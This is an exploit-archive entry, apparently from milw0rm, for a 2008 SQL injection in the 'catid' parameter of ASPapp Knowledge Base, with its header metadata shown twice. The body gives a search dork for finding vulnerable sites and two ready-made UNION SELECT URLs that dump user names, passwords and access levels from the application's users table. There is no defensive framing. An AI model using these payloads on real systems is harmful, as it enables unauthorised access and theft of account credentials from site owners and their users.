ASPapp Knowledge Base - 'CatId' SQL Injection (2)
| EKU-ID: 14471 | CVE: OSVDB-48729 | OSVDB-ID: |
| Author: Crackers_Child | Published: 2008-09-27 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 14471 | CVE: OSVDB-48729 | OSVDB-ID: |
| Author: Crackers_Child | Published: 2008-09-27 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
Dork - content_by_cat.asp?contentid ''catid'' Exploit : content_by_cat.asp?contentid=99999999&catid=-99887766 UNION SELECT 0,null,password,3,accesslevel,5,null,7,null,user_name from users Exploit 2 : content_by_cat.asp?contentid=-99999999&catid=-99887766 union select 0,null,password,3,accesslevel,5,null,7,8,user_name from users DownLoad Site : http://camyuva.bel.tr/who.php # milw0rm.com [2008-09-27]